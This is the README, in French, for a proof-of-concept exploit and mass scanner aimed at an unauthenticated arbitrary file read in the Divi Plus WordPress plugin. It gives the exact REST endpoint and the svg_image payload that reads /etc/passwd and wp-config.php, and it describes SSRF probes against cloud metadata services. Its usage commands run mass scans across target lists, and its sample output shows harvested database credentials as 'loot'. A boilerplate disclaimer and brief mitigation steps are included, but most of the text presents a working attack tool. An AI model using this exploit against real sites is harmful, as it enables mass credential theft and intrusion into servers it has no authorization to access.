CVE-2026-91136 — Divi Plus ≤ 2.4.0 — Lecture arbitraire de fichiers non authentifiée (PoC)

Divi Plus (Elicus) — plugin WordPress ≤ 2.4.0 — lecture arbitraire de fichiers non authentifiée via le paramètre svg_image de l'espace de noms REST elicus/v1.

📋 Aperçu de la vulnérabilité

🔍 Description technique

SVGAnimatorController::index_permission renvoie true de manière inconditionnelle, de sorte que le point de terminaison /wp-json/elicus/v1/dipl-modules/svg-animator est accessible sans authentification. L'entrée svg_image ne passe que par sanitize_text_field() et esc_html() — qui ne restreignent ni les chemins du système de fichiers, ni le wrapper de flux file://, ni les URL distantes — avant d'être transmise à file_get_contents() (avec un repli sur wp_remote_get()). Le corps brut de la réponse est renvoyé dans le champ JSON html.

GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
        │
        ▼
index_permission() = true (no auth)
        │
        ▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
        │
        ▼
file_get_contents() -> fallback wp_remote_get()
        │
        ▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}

Impact : lecture de /etc/passwd, wp-config.php (identifiants de base de données + sels d'authentification), métadonnées cloud via SSRF (169.254.169.254 / GCP / Azure / DO / OCI), .env et tout autre fichier que l'utilisateur web peut lire.

🚀 Utilisation

# single target
python CVE-2026-91136.py -u https://target.com

# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results

# interactive (banner -> targets -> threads)
python CVE-2026-91136.py

📊 Sortie

[OK] https://target.com                                        ✓ 1  ✗ 0
    passwd: root:x:0:0:root:/root:/bin/bash
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
    wp-config: /var/www/html/wp-config.php
      link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
      DB_NAME=wordpress
      DB_USER=wp_user
      DB_PASSWORD=***
      DB_HOST=localhost

✓ OK: 1   ✗ FAIL: 2979   total: 2980

• barre de progression dynamique sur une seule ligne : [████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247
• results.hits.txt — cibles vulnérables confirmées uniquement

⚙️ Fonctionnalités

• Empreinte : réponse de l'endpoint svg-animator + version via les assets divi-plus ?ver=
• Oracle de version : la branche vulnérable renvoie le contenu des fichiers ; la version corrigée/WAF renvoie 403/vide
• Découverte de wp-config.php : candidats fixes + vrais répertoires /home/<user>/ extraits de /etc/passwd
• Sondes SSRF : endpoints de métadonnées AWS / GCP / Azure / DigitalOcean / OCI
• Extraction du butin : identifiants de base de données + sels d'authentification WordPress, avec liens directs réutilisables par découverte
• Mode massif : pool de threads, déduplication, décompte ✓/✗ en direct, export JSONL + hits

📁 Structure des fichiers

├── CVE-2026-91136.py   # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore

⚠️ Avertissement

╔══════════════════════════════════════════════════════════════════╗
║                        LEGAL DISCLAIMER                          ║
╠══════════════════════════════════════════════════════════════════╣
║  This tool is provided for EDUCATIONAL and AUTHORIZED           ║
║  SECURITY TESTING purposes only.                                ║
║  Only use on systems you own or have explicit permission.       ║
║  The author is NOT responsible for any misuse or damage.        ║
╚══════════════════════════════════════════════════════════════════╝

🛡️ Atténuation

1. Mettre à jour Divi Plus vers 2.4.1 (ou une version ultérieure)
2. Renouveler (rotation) tout identifiant exposé via la lecture de fichiers
3. Bloquer GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator au niveau du WAF
4. Surveiller les journaux pour détecter les valeurs svg_image contenant file://, /etc/ ou des adresses IP de métadonnées